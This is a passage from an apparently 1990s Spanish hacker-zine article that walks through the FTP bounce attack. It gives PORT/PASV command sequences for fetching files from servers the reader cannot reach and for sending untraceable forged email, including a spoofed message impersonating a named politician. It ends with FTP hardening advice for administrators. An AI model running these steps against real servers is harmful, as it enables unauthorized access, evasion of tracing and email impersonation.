bastante interesantes. El ataque (si se puede llamar asi) se basa en dos comandos, PASV y PORT. El primero de ellos, como ya hemos explicado, le indica al servidor FTP, que espere la llegada de datos en un puerto. Y el segundo le indica que envie datos a un puerto determinado de otra maquina. De esta sencilla manera se puede hacer que el servidor envie y reciba datos de otros ordenadores conectados a la red. Los usos de este ataque son multiples, desde mandar correo o news desde el servidor FTP camuflando su origen, bajar ficheros de sites no accesibles a traves de un servidor de FTP, saltar una firewall, atacar varios sites a la vez, dificultar que te traceen, etc... En todos ellos se usa el servidor de FTP, como puente para hacer un salto y ocultar nuestra verdadera identidad. Y la forma mas clara de explicar este tipo de usos, es con un ejemplo: 8.A. TRAER FICHEROS DE UN SERVIDOR AL QUE NO TENEMOS ACCESO ------------------------------------------------------------- En este ejemplo vamos a suponer, que queremos traer un fichero de un servidor FTP, al que por alguna razon, no tenemos acceso, pero conocemos otro servidor FTP al que si tenemos acceso y que esta en la misma red o tiene comunicacion con nuestro objetivo. De esta manera vamos a usar el segundo servidor FTP como puente entre nosotros y nuestro objetivo. El servidor FTP que usaremos de puente debe poder funcionar en modo pasivo (aceptar el comando PASV) Pues el primer paso que debemos dar, es conectarnos al FTP puente y situarnos en un directorio en el que tengamos acceso de escritura (y preferentemente tambien lectura de los ficheros que subamos) normalmente sera incoming o algo parecido. Una vez alli enviamos estos comandos: usuario> PASV ftp.puente> 227 Entering Passive Mode (h1,h2,h3,h4,p1,p2). Toma nota de la direccion y del puerto que devuelve el comando PASV h1,h2,h3,h4,p1,p2 ya que este es el puerto donde el FTP puente esta esperando recibir los datos. usuario> STOR fichero.donde.aparecera Ahora el FTP puente esta esperando recibir el fichero: 'fichero.donde.aparecera' a traves de la direccion que nos devolvio el comando pasv. Esta sesion de FTP se quedara por tanto esperando la recepcion del fichero. Lo que tenemos que hacer nosotros ahora es abrir una nueva sesion con el FTP puente (sin cerrar la que esta en espera del fichero) En esta nueva sesion, lo que tenemos que hacer es enviar un fichero al FTP puente. En este fichero se incluira esto (por ejemplo) user ftp (o anonymous) pass -guest@ (cualquiera que os apetezca) cwd /directorio-donde-este-el-fichero-objetivo type i port h1,h2,h3,h4,p1,p2 retr fichero.que.queremos Este fichero contendra unas ordenes que seran enviadas al FTP objetivo y que haran que este envie el fichero que queremos hacia una direccion que especificaremos con el comando PORT. šY cual es esa direccion donde enviaremos el fichero? Pues logicamente sera al puerto de la primera conexion, donde el FTP puente esta esperando recibir el fichero 'fichero.donde.aparecera' De esta manera el FTP objetivo enviara el fichero que queriamos al FTP puente quedando almacenado en el fichero 'fichero.donde.aparecera' šY como hacer que el FTP objetivo reciba ese fichero con las instrucciones? Pues facilemnete: usuario> STOR fichero.de.instrucciones Esto almacena el fichero de instrucciones en el FTP puente. usuario> PORT C,C,C,C,0,21 Esto le indica al FTP puente que envie datos hacia la direccion C.C.C.C en el puerto 21 (la conexion de control) šY que direccion es C.C.C.C? pues logicamente esa es la direccion del FTP objetivo. usuario> RETR fichero.de.instrucciones Y con esta sorprendente sencillez ordenamos al FTP puente que 'RETRIEVE' ese fichero, pero no nos lo envia a nosotros sino que lo envia a la direccion y el puerto indicado con el comando PORT. De esta manera el FTP objetivo recibe una conexion de control en el puerto 21 que contiene el fichero con las instrucciones que hemos preparado y que hace que el FTP objetivo siga esas instrucciones y nos envie el fichero que buscabamos. Ahora en la primera conexion empezara a llegar el fichero que queriamos y se ira almacenando en el fichero 'fichero.donde.aparecera' solo tenemos que esperar un poco y ya tenemos lo que queriamos. 8.B. PROBLEMAS ---------------- 1. Pues el primer problema que hay es que hemos dejado una conexion de control abierta entre el FTP puente y el objetivo. Si os habeis fijado en el fichero de instrucciones no hemos dado la orden QUIT porque si damos esta orden la conexion de datos tambien se cerrara y el fichero que queriamos no llegara al FTP puente. Pero al no dar esta orden la conexion sigue abierta indefinidamente. Hay varias soluciones para esto, pero de las que he leido ninguna me convence. Si no teneis conciencia, no os importara dejar esta conexion "abandonada" pero si os entra remordimientos de dejar eso tan a medias, podeis intentar algo de esto. -Hobbit en su texto FTP Bounce attack, incluye la orden QUIT en el fichero de instrucciones y para que la conexion de datos no se cierre demasiado pronto, introduce despues del quit una serie muy larga de caracteres nulos (^@), que haran que el servidor FTP pierda tiempo y no cierre la conexion. Este sistema no me acaba de gustar, porque en muchas ocasiones no funciona, o si el fichero es muy grande, aunque metamos muchos caracteres de retorno de carro, la sesion FTP se cierra antes de enviar completamente el fichero. Es la solucion mas facil, pero no me acaba de convencer. Por si os interesa este es el ejemplo que pone: user ftp pass -anonymous@ cwd /export-restricted-crypto type i port F,F,F,F,X,X retr crypto.tar.Z quit ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@ ... (El numero de caracteres nulos, tiene que ser mayor cuanto mas largo sea el fichero a traer) -Otra solucion es dejar la conexion abierta, aunque esto es poco cyber-etico, no es que sea muy grave dejar la conexion abierta, pero si todo el mundo fuese haciendo lo mismo, internet seria un caos. Tened en cuenta que los 2 servidores estan las 24 horas conectados y a menos que alguien lo solucione, podrian quedarse asi, indefinidamente. -Otra solucion mucho mas etica, es introducir antes del quit, alguna orden que hiciese perder tiempo al servidor, como un NOOP o algo por el estilo, calculando el numero de comandos necesarios para ocupar al servidor mientras dure la transmision. (Aunque tampoco es un metodo seguro) -Si a alguien se le ocurre o conoce alguna solucion, por favor que me la envie para incluirla en proximas versiones del texto. 2. El segundo problema, es que si no tienes acceso al FTP objetivo, no puedes ver la estructura de directorios. Bueno, este problema es de facil solucion, solo hay que incluir la orden de LIST, en un fichero de ordenes e ir recibiendo poco a poco los listados del FTP obejetivo. Es un poco lento y pesado hasta que encuentras lo que quieres, pero ESTAS DENTRO!! 3. Hay servidores que solo permiten que la conexion de datos sea hecha con el mismo ordenador que origino la conexion de control. Esto limita mucho este truco y es practicamente imposible de evitar, pero aun te deja un par de acciones posibles. 4. Hay versiones de servidores de FTP que estan preparados para evitar el uso de comandos PORT aleatorios. Los que mas habitualmente tiene este tipo de medidas de seguridad son los que funcionan con versiones actuales de wu-ftpd. (Aunque no todos) 5. Por extra€as razones, en un numero elevado de casos, las conexiones entre los dos servidores de FTP implicados se cortan o se bloquean. En algunos casos incluso cae el propio servidor. No soy experto en este tipo de software, pero supongo que sera un bug del sistema o tal vez sea un problema de la propia internet. Tambien hay versiones de ftpd que se niegan a hacer funcionar este tipo de trucos, sin razon aparente, no se porque lo haran, simplemente se niegan, sin dar mensajes de error ni ningun sintoma aparente :-?. Si alguien sabe el porque, que lo diga. 6. Pero el problema mas importante es la renovacion de las versiones del ftpd, aunque todavia siguen quedando un gran numero de servidores con versiones antiguas, la mayoria de los sistemas estan actualizando sus versiones de este software o incluso en muchos casos estan cerrando sus servidores FTP. Parece que la web esta acabando con el FTP a una gran velocidad, puede que incluso mientras estoy escribiendo este articulo la informacion que estoy incluyendo ya este anticuada o se quede anticuada en pocos meses... Estoy probando esta tecnica en servidores FTP (con acceso a internet) de infovia para traer ficheros de internet sin tener acceso a la red. El experimento esta todavia en desarrollo pero parece que funciona... Si consigo una forma segura de realizarlo tal vez escriba un articulo sobre ello. 8.C. CORREO INTRACEABLE ------------------------- Otro uso muy interesante es la posibilidad de mandar correo intraceable (bueno, al menos el verdadero origen no aparece en el rutado) En esta ocasion basta con un solo servidor de FTP (aunque para mas seguridad se pueden emplear 2 o mas) y su funcionamiento es mucho mas sencillo. Simplemente se hace lo mismo, que en el ejemplo anterior cuando se queria mandar el fichero con las instrucciones, solo que en este caso, el fichero de instrucciones se enviara al puerto de correo (25) de la maquina que queramos. Por ejemplo el fichero de ordenes podria ser algo asi: (Para empezar puede que haga falta un HELO, eso ya tienes que averiguarlo tu.) MAIL FROM: aznar@la-moncloa.es RCPT TO: el_duke@usa.net DATA ayudita hola duke: Me preguntaba si me podrias ayudar, como en las pasadas elecciones y modificar los resultados electorales, para que vuelva a salir presidente. Muchas Gracias J.M. Aznar presidentisimo de Espa€a . QUIT usuario> STOR fichero.de.instrucciones usuario> PORT C,C,C,C,0,25 usuario> RETR fichero.de.instrucciones Hay infinitas variantes y usos de este truco, el unico limite es tu imaginacion y tus conocimientos tecnicos. Y por supuesto si descubres algun truco interesante hazmelo saber. Aviso que este tipo de tecnicas vuelve muy inestable al ftpd desde el que se hacen y es recomendable no prolongar mucho la conexion, ya que estos daemons tienden a colgarse y a hacer cosas raras. 9. CONSEJOS DE SEGURIDAD PARA ADMINISTRADORES ----------------------------------------------- Y despues de describir la enfermedad, no podia faltar la seccion dedicada a la cura. En esta seccion voy a intentar ayudar a los administadores novatos a configurar un servidor de FTP inicialmente seguro, y digo inicialmente porque en esto de la configuracion de un servidor seguro, las herramientas mas importantes son la experiencia y el software actualizado frecuentemente. Y me reitero en esto, la seguridad de un servidor depende muchas veces de un software actualizado y libre de bugs conocidos. Los hackers mas peligrosos son los novatos que se limitan a buscar un bug conocido y probarlo en cientos de maquinas hasta que funcione en alguna... El software nuevo puede que tenga bugs nuevos y desconocidos, pero ningun hacker novato los va a descubrir. Si eres un administrador experimentado, seguramente sabras todo lo que explico aqui y probablemente mucho mas, asi que puedes leerlo si quieres para aconsejarme sobre detalles que deberia incluir en nuevas versiones de ese texto, pero probablemente su lectura no te aportara nada nuevo. Estos consejos son ampliamente conocidos y han sido publicados ya en varios textos, pero por si alguien no se maneja muy bien en el ingles los he traducido y adaptado al castellano. 1. Primero consigue la version mas reciente del software de ftpd. El mas recomendable y estandar es el wu-ftpd. 2. Crea el usuario ftp en tu fichero de passwords. Metelo en un grupo cualquiera aunque tambien es recomendable crear su propio grupo. Su directorio inicial sera ~ftp, que sera el directorio raiz que veran los usuarios anonimos. Asignale un password invalido y un shell ciego. ftp:*:400:400:FTP anonimo:/home/ftp:/bin/flase Aviso: Al crear este usuario se conecta la conexion anonima al ftp, asi que cuidado... 3. Crea el directorio ~ftp (/home/ftp por ejemplo) poseido por el root (NUNCA por ftp) con el mismo grupo que ftp. De esta manera los permisos del poseedor seran para el root y los permisos de grupo seran para los usuarios anonimos. chmod 555 ~ftp -->lectura, NO escritura(!) y ejecucion Nota: En algunos textos recomiendan que el grupo al que asignemos los archivos no sea el mismo que el de ftp. En realidad si las permisos estan correctamente asignados no habria que temer nada si el grupo que posee un fichero es el del usuario ftp. 4. Crea el directorio ~ftp/bin poseido por root con permisos 111. 5. Pon el binario 'ls' en el directorio poseido por root y con los mismos permisos, 111. Cualquier binario que se a€ada a este directorio debera tener estas mismas caracteristicas. Como habreis notado, todo el material delicado debe ser poseido por el root y sin acceso de escritura. Y sobre todo ningun fichero ni directorio debe ser poseido por el usuario ftp. 6. Crea el directorio ~ftp/etc, ni que decir que sera poseido por root y con permisos 111. 7. Crea los ficheros ~ftp/etc/passwd y ~ftp/etc/group, con modo 444. Por supuesto estos ficheros no tienen que ser los verdaderos passwd y group sino que son unos patrones. El fichero passwd contendra mas o menos estas cuentas: root, daemon, uucp, and ftp y los usuarios que posean ficheros dentro de los subdirectorios de ~ftp. El fichero de group debe contener el grupo del usuario ftp y los grupos a los que pertenezcan los usuarios contenidos en el ~ftp/etc/passwd. Todas las cuentas deben tener el password '*' root:*:0:0:Ftp maintainer:: ftp:*:400:400: Anonymous ftp:: Estos dos ficheros simplemente sirven para que el comando 'ls' (LIST) muestre el propietario y el grupo de cada fichero y directorio. En algunas versiones de ftpd no es necesario incluirlos y en vez del campo propietario y grupo aparecen numeros, como en este ejemplo. -------------------- drwxrwxr-x 2 152 111 1536 Jun 13 13:12 Abst -rwxrwxr-x 1 152 111 4341 Apr 4 1995 INDEX drwxrwxr-x 2 152 111 1536 Jun 13 13:21 Ps drwxrwxr-x 2 152 111 512 Jun 5 1995 Ref drwxrwxr-x 2 152 111 512 Apr 6 1995 Search -rwxrwxr-x 1 152 111 245738 Feb 16 1995 TR-94-01.ps -rwxrwxr-x 1 152 111 152365 Dec 9 1994 TR-94-02.ps -rwxrwxr-x 1 152 111 252 Jan 11 1995 at_work_icon.gif -rw-rw-r-- 1 133 111 33989 Jun 13 13:29 papers.html --> Los apartados correspondientes a owner y group son ocupados por numeros. -------------------- 8. Crea el directorio ~ftp/pub/ con el propietario de siempre y permisos 555. Los ficheros publicos seran colocados aqui y tendran los mismos permisos (555) 9. Si se crea un directorio para que los usuarios anonimos dejen ficheros por ejemplo /incoming este directorio debera ser poseido por root con los permisos 733. Habra que configurar el ftpd para que no permita sobreescribir ficheros, por ejemplo configurandolo para que los ficheros uploadeados queden almacenados con permisos 600 y poseidos por el root. 10. Crea un particion independiente para el area de uploads del ftp para prevenir un ataque de denegacion de servicio. 11. En el directorio ~ftp/bin habra que incluir el menor numero de binarios posibles. Si se quiere instalar algun tipo de extensiones como compresion/ descompresion habra que instalar los correpondientes binarios, siempre comprobando que no tengan ninguna utilidad secundaria. (Mirar el bug del gnu tar en el apartado de bugs) 11. Los ficheros .rhosts y .forward deben tener un tama€o 0 y estar poseidos por el root (400) Estos dos ficheros son los mas delicados en materia de seguridad y deben ser vigilados frecuentemente. 12. Si no son usados desactiva los comandos SITE, especialmente el SITE EXEC, y el SITE CHMOD. 10. NOTAS FINALES Y BIBLIOGRAFIA ---------------------------------- Espero que os haya gustado y que la informacion os sea de utilidad, en vuestro trabajo o en vuestro tiempo libre. Para cualquier consulta (razonable) sobre el tema, o para cualquier consejo o nueva informacion para futuras ediciones, podeis mandarlo a: -> el_duke@usa.net <- Solo respondere aquellos mensajes que esten encriptados con mi llave PGP: [ Lecturas recomendadas ] -"The FTP Bounce Attack" / por *Hobbit* / 12 Jul 1995 -RFC N§ 0959 J. Postel, J. Reynolds, "File Transfer Protocol", 10/01/1985. (Pages=69) (Format=.txt) (Obsoletes RFC0765) (STD 9) -Anonymous FTP FAQ / (1996/7/16) / Version: 3.00 Internet Security Systems, Inc. -Saqueadores Edicion Tecnica / varios numeros -UNIX Computer Security Checklist / (Version 1.1) / 19-Dec-1995 The Australian Computer Emergency Response Team (AUSCERT) -INTRODUCTION TO DENIAL OF SERVICE, FAQ por Hans Husman -Grupo de hacking de las news de axis (axis.org) 11. DESPEDIDA --------------- Y sobre todo no olvideis que internet es de todos, que la informacion es de todos, compartir estos conocimientos con todo el mundo es importante. Pero es mas importante aun que mantengais una cyber-etica realista y respetuosa con los demas. Saludos de El Duke de Sicilia "Los medicos, cuando fallan, pueden enterrar sus errores. Nosotros, los hackers, nos tenemos que conformar con borrar los logs" GRUPO ### ### ### # # ### ### ## # ## ### ### # # # # # # # # # # # # # # # # # # ### ### # # # # ## ### # # # # ## ## ### # # # # # # # # # # # # # # # # # # ### # # ##\ ### ### # # ## # # # ### ###